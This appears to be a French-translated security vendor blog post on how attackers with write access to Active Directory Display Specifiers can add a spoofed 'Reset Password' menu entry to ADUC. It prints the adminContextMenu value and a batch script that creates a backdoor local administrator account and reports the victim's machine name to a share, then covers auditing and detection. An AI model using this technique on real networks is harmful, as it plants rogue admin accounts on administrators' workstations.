On m'a récemment rappelé une fonctionnalité d'AD que je n'ai pas utilisée depuis près de 20 ans et qui peut être utilisée de manière abusive par les attaquants. Cette fonction est basée sur une zone de la partition Configuration dans une forêt Active Directory donnée, appelée Display Specifiers (spécificateurs d'affichage). Je suis sûr que ces spécificateurs ont de nombreux rôles dans AD, mais celui qui m'intéresse est leur capacité à vous permettre d'ajouter des extensions de menu contextuel personnalisées aux outils AD basés sur la MMC.
Lorsque j'ai utilisé cette fonctionnalité pour la première fois (là encore, elle existe depuis un an), j'avais écrit un utilitaire pour permettre certaines tâches de gestion des utilisateurs AD. J'ai utilisé Display Specifiers pour ajouter un nouvel élément de menu au snap-in MMC AD Users and Computers (ADUC), à l'intention de nos administrateurs informatiques internes. Chaque fois qu'ils faisaient un clic droit sur un objet utilisateur dans ADUC, mon option de menu apparaissait. Lorsqu'ils sélectionnaient l'option, un script était exécuté en arrière-plan sur cet objet utilisateur. Les spécificateurs d'affichage ont également la possibilité d'ajouter des feuilles de propriétés à la page Propriétés d'une classe d'objets donnée, à condition d'être prêt à écrire un peu de code COM :-).
Les spécifications d'affichage se présentent comme suit :
Afficher les spécificateurs dans la partition de configuration
Vous remarquerez que les conteneurs de gauche sont organisés par valeurs numériques. Celles-ci correspondent aux codes hexadécimaux de chaque langue. J'ai mis en évidence409car c'est la valeur hexadécimale de EN-US ou English-US, qui est ma culture par défaut. Vous pouvez consulter la liste complète de ces codesici.
Dans chaque conteneur de code de langue, vous remarquerez un ensemble d'objets de classe displaySpecifier, à droite. Chacun de ces objets représente la classe d'objets pour laquelle vous pouvez modifier le comportement du menu contextuel, entre autres choses. Par exemple, si nous voulons ajouter un menu contextuel aux objets utilisateur dans ADUC, nous sélectionnerons l'objet CN=user-Display et modifierons les attributs appropriés de cet objet.
Les spécificateurs d'affichage se comportent mal
Il y a plusieurs choses à savoir sur la façon dont les attaquants peuvent abuser des spécificateurs d'affichage. Tout d'abord, pour abuser des spécificateurs d'affichage, du point de vue de la sécurité, il faut être un utilisateur privilégié. Par défaut (l'accent est mis sur le mot "défaut"), seuls les membres du groupeAdmins du domaineetAdmins d'entreprisepeuvent écrire dans ces objets. Ainsi, l'utilisation abusive de ces objets suppose que vous ayez déjà acquis la domination d'un domaine, ce qui atténue fortement la puissance de ce mécanisme. Cependant, ce mécanisme fournit un moyen furtif de faire du mal à un environnement. Par exemple, si un membre d'ADministration du domaine est compromis, tout ce qu'il fait est très visible pour la surveillance standard, mais si l'attaquant est capable de prendre le contrôle d'un compte administratif moins évident, il peut être en mesure de se déplacer dans l'environnement de manière plus furtive. C'est là que l'utilisation des spécificateurs d'affichage peut s'avérer utile. Dans mon exemple, j'ajoute un nouveau menu contextuel aux objets utilisateur. J'appelle mon élément de menu contextuel "Réinitialiser le mot de passe...", tout comme l'option de menu existante du même nom, intégrée dans ADUC pour les objets utilisateur, comme illustré ici :
Ajouter un nouvel élément de menu contextuel
As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of:
2,Réinitialiser le mot de passe...,\gpaapackagesresetpw.bat
La première entrée est l'index auquel je veux qu'il apparaisse, la deuxième est le nom de l'élément de menu et la troisième est ce que je veux exécuter lorsque l'utilisateur choisit cet élément de menu. Dans l'exemple ci-dessus, j'appelle un fichier batch à partir d'un partage. Vous pouvez voir ce que cela donne sur l'attribut en direct ici :
Visualisation d'un spécificateur d'affichage modifié
Je fais référence à un partage UNC parce que je me souviens que cet élément de menu sera appelé par n'importe quel utilisateur d'ADUC depuis n'importe quel poste de travail - j'avais donc besoin que cet utilisateur puisse appeler mon fichier batch depuis n'importe où. Vous pouvez également utiliser des commandes intégrées pour les exécuter localement, mais je n'ai pas encore joué avec le passage de paramètres aux commandes dans les Display Specifiers, donc je ne suis pas sûr que cela fonctionnera. Quoi qu'il en soit, mon fichier batch est assez simple. Je compte sur le fait que quelqu'un qui utilise ADUC peut en effet être un administrateur sur son poste de travail et qu'il peut donc faire à peu près n'importe quoi lorsqu'il exécute mon script. Le script "resetpw.bat" ressemble donc à ceci :
net user badguy password /add
net localgroup administrators badguy /add
echo gotcha > \gpaapackages%computername%.txt
En gros, je crée un nouveau compte local sur la machine avec un mot de passe connu, j'ajoute ce compte au groupe des administrateurs locaux, puis je crée un petit fichier sur mon partage qui m'indique quel nom de machine vient d'exécuter mon script. Et voilà !
Se défendre contre les abus en matière de spécification d'affichage
Évidemment, rien de tout cela ne fonctionne si l'attaquant n'a pas les droits d'écriture sur les spécificateurs d'affichage. Donc, à moins qu'ils aient déjà compromis votre domaine, ou que vous ayez modifié la délégation par défaut sur cette partie de la Configuration NC, vous n'avez probablement pas à vous inquiéter à ce sujet. Mais si vous disposez d'une solution d'audit AD, vous devriez certainement garder un œil sur les modifications apportées à ces objets. Il n'y a probablement pas beaucoup de raisons légitimes pour que ces objets changent normalement. La bonne nouvelle est que Semperis vient de créer un nouvel indicateur pour rechercher les modifications apportées à ces objets de spécification d'affichage, et si vous êtes un utilisateur de DSP Intelligencevous obtiendrez ce nouvel indicateur automatiquement et il commencera à rechercher ces types d'abus de spécificateurs d'affichage immédiatement.
